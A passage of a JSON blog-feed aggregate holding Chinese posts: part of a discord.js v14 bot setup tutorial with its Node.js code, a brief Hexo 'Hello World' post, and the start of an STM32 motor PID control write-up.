是公开可查的,不是秘密。\u003c/p\u003e\n\u003cp\u003e点击左侧菜单栏的 \u003ccode\u003eBot\u003c/code\u003e,点击 \u003ccode\u003eAdd Bot\u003c/code\u003e ,再点击弹出对话框的 \u003ccode\u003eYes, do it!\u003c/code\u003e 创建机器人。注意此操作是不可逆的,也就是说机器人一旦创建,就不可被销毁删除。哪怕销毁应用程序,机器人账号仍会在 Discord 的世界里存在,只是变成无人能管理的孤儿账号了。\u003c/p\u003e\n\u003cp\u003e关于机器人账号和普通用户账号的区别,这里 (https://discord.com/developers/docs/topics/oauth2#bots) 有介绍。\u003c/p\u003e\n\u003cp\u003e完成机器人账号创建后,在本页面的 \u003ccode\u003eBuild-A-Bot\u003c/code\u003e 栏目中,你可以给机器人账号更换用户名和头像。\u003c/p\u003e\n\u003cp\u003e点击按钮 \u003ccode\u003eReset Token\u003c/code\u003e 并点击 \u003ccode\u003eYes, do it!\u003c/code\u003e 来首次获取我们的机器人账号 Token。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711125633911-1411679088.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e注意:Token (令牌)万万不可给别人看到,这是十分机密的一串文字,任何人有了它,就拥有了完全掌控机器人行为的能力了,比如机器人恶意封禁和私聊服务器里的人、发送 @everyone 等恶劣行为都可能会发生。请妥善保管好这个密钥,\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e注意:Discord 出于安全目的,令牌在创建时只能查看一次。 如果您忘记或无法访问您的令牌,请重新生成一个新令牌,旧令牌将自动失效。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e接着,在 \u003ccode\u003eBot\u003c/code\u003e 页面的 \u003ccode\u003ePrivileged Gateway Intents\u003c/code\u003e 栏目中,勾选 \u003ccode\u003ePresence Intent\u003c/code\u003e、\u003ccode\u003eServer Members Intent\u003c/code\u003e 和 \u003ccode\u003eMessage Content Intent\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e然后点击下端弹出的绿色保存设置 (Save Changes) 按钮,来保存设置。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202210/2455224-20221005223236956-513821563.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e点击左侧菜单栏的 \u003ccode\u003eOAuth2\u003c/code\u003e - \u003ccode\u003eURL Generator\u003c/code\u003e 。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202210/2455224-20221005223317282-341711629.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e在 \u003ccode\u003eSCOPES\u003c/code\u003e 里勾选 \u003ccode\u003ebot\u003c/code\u003e 和 \u003ccode\u003eapplications.commands\u003c/code\u003e ,为了方便,在 \u003ccode\u003eBOT PERMISSIONS\u003c/code\u003e 里直接勾选第一条 \u003ccode\u003eAdministrator\u003c/code\u003e (注意咱们只是为了玩哈,才直接赋予管理员权限的)。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202210/2455224-20221005223338452-1398283213.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e复制最下方生成的 URL,粘贴到新浏览器窗口打开,选择服务器并添加。如果你没有看到任何可选选项,那么你需要去 Discord 先自己创建一个服务器,然后回来刷新一下。事实上,其他服务器如果给你管理服务器的权限的话,这个服务器将出现在可选选项中。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202210/2455224-20221005223358375-25536375.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202210/2455224-20221005223409625-2120951239.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e到此,我们完成了搭建开发环境、创建机器人账号和邀请机器人进入服务器等操作。\u003c/p\u003e\n\u003ch2\u003eChapter 2 - 工程文件夹的初始化\u003c/h2\u003e\n\u003ch3\u003e创建工程文件夹\u003c/h3\u003e\n\u003cp\u003e对于 IDE 用户,创建一个 Node.js 项目。对于编辑器用户,新建文件夹即可。\u003c/p\u003e\n\u003cp\u003e比如我的工程根文件夹是 \u003ccode\u003eC:\\Users\\root\\WebstormProjects\\discord_bot_2022\u003c/code\u003e\u003c/p\u003e\n\u003ch3\u003e获取 discord.js\u003c/h3\u003e\n\u003cp\u003e本文编写时,discord.js 的最新版本是 v14,\u003cstrong\u003e咱们使用的版本也是 v14\u003c/strong\u003e。后文的部分代码可能在过去和未来的版本(比如 v13 和 v15)中失效。\u003c/p\u003e\n\u003cp\u003e不过幸运的是,从 v13 升级到 v14 的情况来看,没啥大问题。何况 v14 才于 2022 年 7 月 18 日正式发布(本文于 2022 年 7 月 9 日开始撰写第一版,7 月 19 日完成针对 v14 的第二版),v15 的发布还远着呢。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e注意:你的 Node.js 的版本需高于 16.9.0(含)\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003ecd 到 \u003ccode\u003e工程根文件夹\u003c/code\u003e,在终端输入来获取 discord.js:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e如果你用的是 npm:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003enpm install discord.js @discordjs/rest discord-api-types\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e如果你用的是 yarn:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003eyarn add discord.js @discordjs/rest discord-api-types\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e如果你用的是 pnpm:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode\u003epnpm add discord.js @discordjs/rest discord-api-types\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e注意:因为 builders 已被内置于 discord.js 中的缘故,包 \u003ccode\u003e@discordjs/builders\u003c/code\u003e 在 v14 中已被废弃。如果你已有基于 v13 的旧代码,你需要在终端卸载该包:\u003ccode\u003enpm uninstall @discordjs/builders\u003c/code\u003e。保留该包会引起命名冲突,所以初学者切勿安装该包。\u003c/p\u003e\n\u003ch3\u003e打开 Discord 开发者模式\u003c/h3\u003e\n\u003cp\u003e为了方便地获取服务器 id、身份组 id 、消息 id 和用户 id,我们必须这么做。\u003c/p\u003e\n\u003cp\u003e网页版在Discord \u003ccode\u003e设置\u003c/code\u003e - \u003ccode\u003e高级设置\u003c/code\u003e 里,勾选 \u003ccode\u003e开发者模式\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e手机版在 \u003ccode\u003eDiscordAPP\u003c/code\u003e - \u003ccode\u003e\"我\"的头像\u003c/code\u003e - \u003ccode\u003eAPP设置栏\u003c/code\u003e - \u003ccode\u003e外观\u003c/code\u003e - \u003ccode\u003e高级设置栏\u003c/code\u003e - \u003ccode\u003e开发者模式\u003c/code\u003e。\u003c/p\u003e\n\u003ch3\u003e创建配置文件 config.json\u003c/h3\u003e\n\u003cp\u003e在工程根文件夹下创建文件 \u003ccode\u003econfig.json\u003c/code\u003e,写入:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e{ \n \"token\": \"bot-token-goes-here\", \n \"clientId\": \"bot-clientid-goes here\", \n \"guildId\": \"serverid-goes-here\" \n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e比如(这三条都是我瞎编的,不是真的)\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e{ \n \"token\": \"OBEzNDMyTEN0OTkzOTk1ODA4.Bhz0k7.97sjsWOGtmx-LBIlFvrkk6A9lkk9YGMX9OYbf\", \n \"clientId\": \"240832114973084058\", \n \"guildId\": \"1978274108637234708\" \n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e需要说明的是,\u003ccode\u003etoken\u003c/code\u003e 字段就是那个极为重要不能外泄的机器人密钥,把你的粘贴过来。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eclientId\u003c/code\u003e 字段就是 \u003ccode\u003eApplication id\u003c/code\u003e。在 Discord 服务器里。右击机器人头像,点击 \u003ccode\u003e复制 ID\u003c/code\u003e 即可轻松获取。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eguildId\u003c/code\u003e 字段是服务器的 ID,当然得是机器人所在的服务器的 ID。右击服务器头像,点击 \u003ccode\u003e复制 ID\u003c/code\u003e 即可轻松获取。\u003c/p\u003e\n\u003ch3\u003e.gitignore 的配置\u003c/h3\u003e\n\u003cp\u003e接下来确保你的工程根文件夹下存在 \u003ccode\u003e.gitignore\u003c/code\u003e 文件,确保文件内已写入\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003enode_modules\nconfig.json\n.env\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e第一行的 node_module 防止你把包也给上传了,白白占用空间。\u003c/p\u003e\n\u003cp\u003e第二行的 config.json 是防止你的 token 在 git 推送后外泄。\u003c/p\u003e\n\u003cp\u003e第三行有就有吧。\u003c/p\u003e\n\u003ch3\u003e无脑实现一个机器人\u003c/h3\u003e\n\u003cp\u003e在 \u003ccode\u003e工程根文件夹\u003c/code\u003e 创建文件 \u003ccode\u003edeploy_commands.js\u003c/code\u003e,写入:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst fs = require(\"fs\"); const { REST } = require('@discordjs/rest'); const { Routes } = require('discord.js'); \nconst { clientId, guildId, token } = require('./config.json'); \n \nconst commands = []; //const commandFiles = fs.readdirSync(\"./commands\").filter(file =\u0026gt; file.endsWith(\".js\")); \nconst cmdPaths = require(\"./cmdPaths.js\").data; \nconst commandFiles = []; \nfor (let i = 0; i \u0026lt; cmdPaths.length; i++) { \n commandFiles[i] = fs.readdirSync(cmdPaths[i]).filter(file =\u0026gt; file.endsWith(\".js\")); // fs.readdirSync() 的结果是个数组,所以 commandFiles是个二维数组 \n for (let j = 0; j \u0026lt; commandFiles[i].length; j++) { \n commandFiles[i][j] = cmdPaths[i] + \"/\" + commandFiles[i][j]; \n } \n} \n \n//console.log(commandFiles); \nfor (const fileArray of commandFiles) { \n for (const file of fileArray) { \n console.log(file); \n let command = require(`./${file}`); \n commands.push(command.data.toJSON()); \n \n // if any ‘aka' name exists \n if (command.akaNames != null \u0026amp;\u0026amp; command.akaNames !== []) { \n for (let i = 0; i \u0026lt; command.akaNames.length; i++) { \n let akaData = command.data; \n akaData.name = command.akaNames[i]; \n commands.push(akaData.toJSON()); \n } \n } \n } \n} \n \nconst rest = new REST({ version: '10' }).setToken(token); \n rest.put(Routes.applicationGuildCommands(clientId, guildId), { body: commands }) \n .then(() =\u0026gt; console.log('Successfully registered application commands.')) \n .catch(console.error);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e在 \u003ccode\u003e工程根文件夹\u003c/code\u003e 下创建文件 \u003ccode\u003ecmdPaths.js\u003c/code\u003e,写入:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emodule.exports = { \n data: [\"./commands\"], \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e在 \u003ccode\u003e工程根文件夹\u003c/code\u003e 下创建文件夹 \u003ccode\u003eevents\u003c/code\u003e,在这个文件夹里创建文件 \u003ccode\u003eready.js\u003c/code\u003e,写入:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emodule.exports = { \n name: \"ready\", \n once: true, \n execute(client) { \n console.log(`Ready! Logged in as ${client.user.tag}`); \n }, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e在 \u003ccode\u003e工程根文件夹/event\u003c/code\u003e 文件夹里,创建文件 \u003ccode\u003einteractionCreate.js\u003c/code\u003e,写入:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emodule.exports = { \n name: \"interactionCreate\", \n execute(interaction) { \n console.log(`${interaction.user.tag} in #${interaction.channel.name} triggered an interaction.`); \n }, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e在 \u003ccode\u003e工程根文件夹\u003c/code\u003e 创建文件 \u003ccode\u003eindex.js\u003c/code\u003e ,写入:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst fs = require('fs'); \nconst { Client, Collection, GatewayIntentBits } = require('discord.js'); \nconst { token } = require('./config.json'); \nconst { InteractionType } = require(\"discord-api-types/v10\"); \n \nconst client = new Client({ intents: [GatewayIntentBits.Guilds, GatewayIntentBits.GuildMessages, GatewayIntentBits.MessageContent] }); \n const eventFiles = fs.readdirSync('./events').filter(file =\u0026gt; file.endsWith('.js')); \n \nfor (const file of eventFiles) { \n const event = require(`./events/${file}`); \n if (event.once) { \n client.once(event.name, (...args) =\u0026gt; event.execute(...args)); \n } else { \n client.on(event.name, (...args) =\u0026gt; event.execute(...args)); \n } \n} \n \nclient.commands = new Collection(); \nconst cmdPaths = require(\"./cmdPaths.js\").data; \nconst commandFiles = []; \nfor (let i = 0; i \u0026lt; cmdPaths.length; i++) { \n commandFiles[i] = fs.readdirSync(cmdPaths[i]).filter(file =\u0026gt; file.endsWith(\".js\")); // fs.readdirSync() 的结果是个数组,所以 commandFiles是个二维数组 \n for (let j = 0; j \u0026lt; commandFiles[i].length; j++) { \n commandFiles[i][j] = cmdPaths[i] + \"/\" + commandFiles[i][j]; \n } \n} \n \nfor (const fileArray of commandFiles) { \n for (const file of fileArray) { \n const command = require(`./${file}`); \n client.commands.set(command.data.name, command); \n \n // if any ‘aka' name exists \n if (command.akaNames != null \u0026amp;\u0026amp; command.akaNames !== []) { \n for (let i = 0; i \u0026lt; command.akaNames.length; i++) { \n client.commands.set(command.akaNames[i], command); \n } \n } \n } \n} \n \nclient.once('ready', () =\u0026gt; {}); \nclient.on('interactionCreate', async interaction =\u0026gt; { \n if (interaction.type !== InteractionType.ApplicationCommand) return; \n \n const command = client.commands.get(interaction.commandName); \n \n if (!command) return; \n \n try { \n await command.execute(interaction); \n } catch (error) { \n console.error(error); \n await interaction.reply({ \n content: 'There was an error while executing this command!', \n ephemeral: true \n }); \n } \n}); \n \nclient.login(token);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e在 \u003ccode\u003e工程根文件夹\u003c/code\u003e 下创建文件夹 \u003ccode\u003ecommands\u003c/code\u003e,在这个文件夹里创建文件 \u003ccode\u003eping.js\u003c/code\u003e,写入:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js'); \n \nmodule.exports = { \n data: new SlashCommandBuilder() \n .setName('ping') \n .setDescription('Replies with Pong!'), \n async execute(interaction) { \n await interaction.reply(\"Pong!\"); \n }, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这些代码,不懂正常,先照做。\u003c/p\u003e\n\u003cp\u003e我们会在 Chapter 4 中,逐行解释这些代码的,何况我们的工作重点不是这些“框架”性的东西,而是真正的机器人交互逻辑代码。\u003c/p\u003e\n\u003cp\u003e咱们的工程根文件夹目录结构和单文件应该至少是这样的:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ediscord_bot_2022\n├─commands\n├─events\n├─node_modules\n├─.gitignore\n├─cmdPaths.js\n├─config.json\n├─deploy_commands.js\n├─index.js\n├─package.json\n├─package-lock.json\n├─pnmp-lock.yaml\n└─yarn.lock\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e对于 IDE 用户,创建该创建的运行配置后,点击“运行”或者什么之类的按钮即可让机器人跑起来。\u003c/p\u003e\n\u003cp\u003e对于非 IDE 用户(IDE 用户也可以),打开终端,cd 到工程根文件夹,输入\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003enode deploy_commands.js\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e注册斜杠命令。成功消息是 \u003ccode\u003eSuccessfully registered application commands.\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e提前说明一点,如果我们的 \u003ccode\u003ecommands\u003c/code\u003e 文件夹里的各个 js 命令文件没有做过变动,则不需要每次启动机器人时注册部署一遍斜杠命令。\u003c/p\u003e\n\u003cp\u003e成功部署斜杠命令后,cd 到工程根文件夹,终端输入\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003enode index.js\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e运行机器人。成功消息类似于 \u003ccode\u003eReady! Logged in as abcde#0001\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e如果出现 “ 无法将“node”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径正确,然后再试一次。” 或者 “ 'node' 不是内部或外部命令,也不是可运行的程序或批处理文件。”亦或者“ -bash: node: command not found ”,请检查你的 PATH 是否有包含 node.exe 所在文件夹,这通常是 \u003ccode\u003eC:\\Program Files\\nodejs\\node.exe\u003c/code\u003e。验证方法是 \u003ccode\u003enode -v\u003c/code\u003e 输出版本号。\u003c/p\u003e\n\u003cp\u003e如果抛出其他失败,请检查你的网络是否能连接到 Discord、你的上述步骤有没有漏做或者顺序错误的。\u003c/p\u003e\n\u003ch3\u003e与机器人交互\u003c/h3\u003e\n\u003cp\u003ecd 到工程根文件夹。\u003c/p\u003e\n\u003cp\u003e确保你已经通过 \u003ccode\u003enode deploy_commands.js\u003c/code\u003e 注册了斜杠命令,并已通过 \u003ccode\u003enode index.js\u003c/code\u003e (或者 \u003ccode\u003enode .\u003c/code\u003e) 使机器人程序保持运行状态。验证方法是:能在 Discord 服务器成员列表看到你的机器人是在线状态而非离线状态。\u003c/p\u003e\n\u003cp\u003e打开 Discord,在机器人所在的服务器的任何文字频道,输入 \u003ccode\u003e/ping\u003c/code\u003e,回车选定斜杠命令,再次回车发送命令,机器人应该会发送消息 \u003ccode\u003ePong!\u003c/code\u003e ,而且在机器人后端程序,会输出类似于 \u003ccode\u003exxxxx#xxxx in #bot triggered an interaction.\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711125819594-935091856.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711125834191-696325284.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e这样,一个非常简单的机器人就完成了。\u003c/p\u003e\n\u003cp\u003e后续我们将学习更多的东西,先写到这吧。记得关注从而收取最新消息。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-1/"}]},{"name":"Hiang's BLOG","email":"","uri":"https://hiangzahoong.github.io/","description":"","article":[{"title":"Hello World","time":"2024-05-03T03:51:53.173Z","content":"\u003clink rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"\\assets\\css\\APlayer.min.css\"\u003e\u003cscript src=\"\\assets\\js\\APlayer.min.js\" cla\u003chr /\u003e\u003clink rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"\\assets\\css\\APlayer.min.css\"\u003e\u003cscript src=\"\\assets\\js\\APlayer.min.js\" class=\"aplayer-secondary-script-marker\"\u003e\u003c/script\u003e\u003ch2 id=\"前因\"\u003e\u003ca href=\"#前因\" class=\"headerlink\" title=\"前因\"\u003e\u003c/a\u003e前因\u003c/h2\u003e\u003cp\u003e一直都有搭个博客玩玩的想法,今日终于实现。\u003c/p\u003e\u003cp\u003e依赖github+hexo搭起了这个博客。\u003c/p\u003e\u003cp\u003e也没啥好说的。\u003c/p\u003e\u003cp\u003e给大伙看看昨天出去野餐拍的风景吧。\u003c/p\u003e\u003cimg src=\"/post/4a17b156/image1.jpg\" class title=\"杭州城西休闲公园\"\u003e\u003chr\u003e\u003ch2 id=\"博客搭建\"\u003e\u003ca href=\"#博客搭建\" class=\"headerlink\" title=\"博客搭建\"\u003e\u003c/a\u003e博客搭建\u003c/h2\u003e\u003cp\u003e博客刚搭建起来,也只有一些基本的功能。还有很多新的模块可以探索,虽然不太用得到,但也还挺有意思。\u003c/p\u003e\u003cp\u003e添加功能以后就在这里记录一下吧。\u003c/p\u003e\u003ch3 id=\"05-11\"\u003e\u003ca href=\"#05-11\" class=\"headerlink\" title=\"05.11\"\u003e\u003c/a\u003e05.11\u003c/h3\u003e\u003cul\u003e\u003cli\u003e添加了在线聊天室功能,使用chatra\u003c/li\u003e\u003c/ul\u003e","url":"https://hiangzahoong.github.io/post/4a17b156.html"}]},{"name":"Canxin Site","email":"Unknown","uri":"https://canxin121.github.io/","description":"Recent content on Canxin Site","article":[{"title":"屏幕 控制 电机(pid)","time":"2023-09-18T00:00:00Z","content":"\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/cover.png\" alt=\"Featured image of post 屏幕 控制 电机(pid)\" /\u003e\u003ch1 id=\"保命事项\"\u003e保命事项\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003eVCC等电压和GND接地千万不要接反! 否则板子升天, money打水漂.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"元器件列表\"\u003e元器件列表\u003c/h2\u003e\n\u003cp\u003e感谢物院实验室某佬倾情相借!\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eStm32 H750VBT6\u003c/li\u003e\n\u003cli\u003e轮趣科技 Tb6612 稳压版电机驱动\u003c/li\u003e\n\u003cli\u003e轮趣科技 MG513 霍尔解码器版电机\u003c/li\u003e\n\u003cli\u003eTJC3224K024 触控屏\u003c/li\u003e\n\u003cli\u003ePWlink2 lite版本 下载\\调试器\u003c/li\u003e\n\u003cli\u003e一块电池\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"使用工具\"\u003e使用工具\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eVscode + EIDE套装\u003c/li\u003e\n\u003cli\u003eKeil u5(\u003c/li\u003e\n\u003cli\u003eStm Cube MX\u003c/li\u003e\n\u003cli\u003eUSART HMI (TJC图形化编程工具)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"实践过程\"\u003e实践过程\u003c/h2\u003e\n\u003ch3 id=\"接线\"\u003e接线\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\u003cem\u003e电机\u003c/em\u003e 和 \u003cem\u003e驱动板\u003c/em\u003e接线, 这里直接使用附赠的排线连接.\u003c/li\u003e\n\u003cli\u003e\u003cem\u003e驱动板\u003c/em\u003e 和 \u003cem\u003eStm主板\u003c/em\u003e 接线 ( 可以按照自己喜欢的布局连接, 也可以参考驱动板厂家给出的示例.\u003c/li\u003e\n\u003cli\u003e\u003cem\u003e显示屏\u003c/em\u003e 和 \u003cem\u003eStm主板\u003c/em\u003e 接线 (TX,RX对接就完了), 这里电池给显示屏供电, 所以直接接到了驱动板引出的5v和GND.\u003c/li\u003e\n\u003cli\u003e\u003cem\u003ePwlink2lite下载器\u003c/em\u003e 和 \u003cem\u003eStm主板\u003c/em\u003e 接线( 这里要单独接一个TX-\u0026gt;RX, 用来输出调试信息).\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e这里简单介绍下不同串口的接线意义:\u003c/p\u003e\n\u003ch4 id=\"驱动板和stm\"\u003e驱动板和Stm\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e驱动板的 E2A和E2B (这里的2代表用的第二个电机,也就是B电机,\u0026ldquo;A\u0026rdquo;,\u0026ldquo;B\u0026quot;代表编码器的A相和B相) 接 Stm 的 两个Pin设定同一个TIM并且将该TIM设定为Combined Mode下的Encoder Mode用来解码从电机获取的实际转速(这里实际是 固定时间的位移 正比于速度, 可以当成转速来用)\u003c/li\u003e\n\u003cli\u003e驱动板的 ADC 接口 (这里是用来读取电压) 接 Stm 的 Pin 设定为 ADC_IN.(呃呃,这里最后其实没把电压显示出来,所以没用上)\u003c/li\u003e\n\u003cli\u003e驱动板的 PWMB (这里的B就是代表B电机了) 接 Stm 的 Pin 设定为 TIM 并将对应 TIM 的 对应 CH 设定为PWM GENERATION CHx, 用来输出PWM信号\u003c/li\u003e\n\u003cli\u003e驱动版的 BIN1,2 接 Stm 的 Pin 设定为 GPIO OUTput, 用来设定电机旋转的模式\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e还有其他的使能,电源接口就不赘述了.可以查看 驱动板的使用说明\u003c/p\u003e\n\u003ch4 id=\"触控屏和stm\"\u003e触控屏和Stm\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e触控屏使用UART通信, TX,RX 和 Stm 对接(小白注意嗷,TX-\u0026gt;RX对接), Stm上的 两个Pin 设置RX,TX(这里用的USART), 并且要打开对应USART的NVIC (中断)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"stm和-pwlink2lite-下载器\"\u003eStm和 PwLink2lite 下载器\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e调试下载的直接对应相连, 电压接3v3, GND对接\u003c/li\u003e\n\u003cli\u003ePwlink2lite 的 Rx 接到Stm 的 Pin 设置为 USART TX, 用来发送调试信息(后面的代码部分会提到Printf的重定向)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"stm-cube-mx-配置\"\u003eStm Cube MX 配置\u003c/h3\u003e\n\u003cp\u003e这里的创建工程略过, 小白可以自己看看MX的教学视频\u003c/p\u003e\n\u003ch4 id=\"串口设定pin-out\"\u003e串口设定(Pin OUT)\u003c/h4\u003e\n\u003ch5 id=\"这里的串口要对应好自己的实际接线\"\u003e这里的串口要对应好自己的实际接线.\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pin_out.png\"\nwidth=\"1112\"\nheight=\"989\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pin_out_hu06611d6c8d4fc68f059f2a7211a156e7_199638_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pin_out_hu06611d6c8d4fc68f059f2a7211a156e7_199638_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nclass=\"gallery-image\"\ndata-flex-grow=\"112\"\ndata-flex-basis=\"269px\"\n\u003e\u003c/p\u003e\n\u003ch4 id=\"串口相应功能设定\"\u003e串口相应功能设定\u003c/h4\u003e\n\u003cp\u003e这些功能要对应好你实际的串口设定\u003c/p\u003e\n\u003ch5 id=\"tim\"\u003eTIM\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/rcc.png\"\nwidth=\"1417\"\nheight=\"635\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/rcc_hu749d9b4ca982880304e14ae1d218a3b9_148125_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/rcc_hu749d9b4ca982880304e14ae1d218a3b9_148125_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"然后RCC设置给时钟HSE选择CCR源\"\nclass=\"gallery-image\"\ndata-flex-grow=\"223\"\ndata-flex-basis=\"535px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/encoder.png\"\nwidth=\"964\"\nheight=\"591\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/encoder_hu0cb4eaea236f392224f4bb2d886ce4cd_111946_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/encoder_hu0cb4eaea236f392224f4bb2d886ce4cd_111946_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"Encoder (E2A,E2B)\"\nclass=\"gallery-image\"\ndata-flex-grow=\"163\"\ndata-flex-basis=\"391px\"\n\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pwm.png\"\nwidth=\"914\"\nheight=\"577\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pwm_hu536268e8857b5e7c97e540165974e99a_104347_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/pwm_hu536268e8857b5e7c97e540165974e99a_104347_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"Pwm (PwmB)\"\nclass=\"gallery-image\"\ndata-flex-grow=\"158\"\ndata-flex-basis=\"380px\"\n\u003e\u003cimg 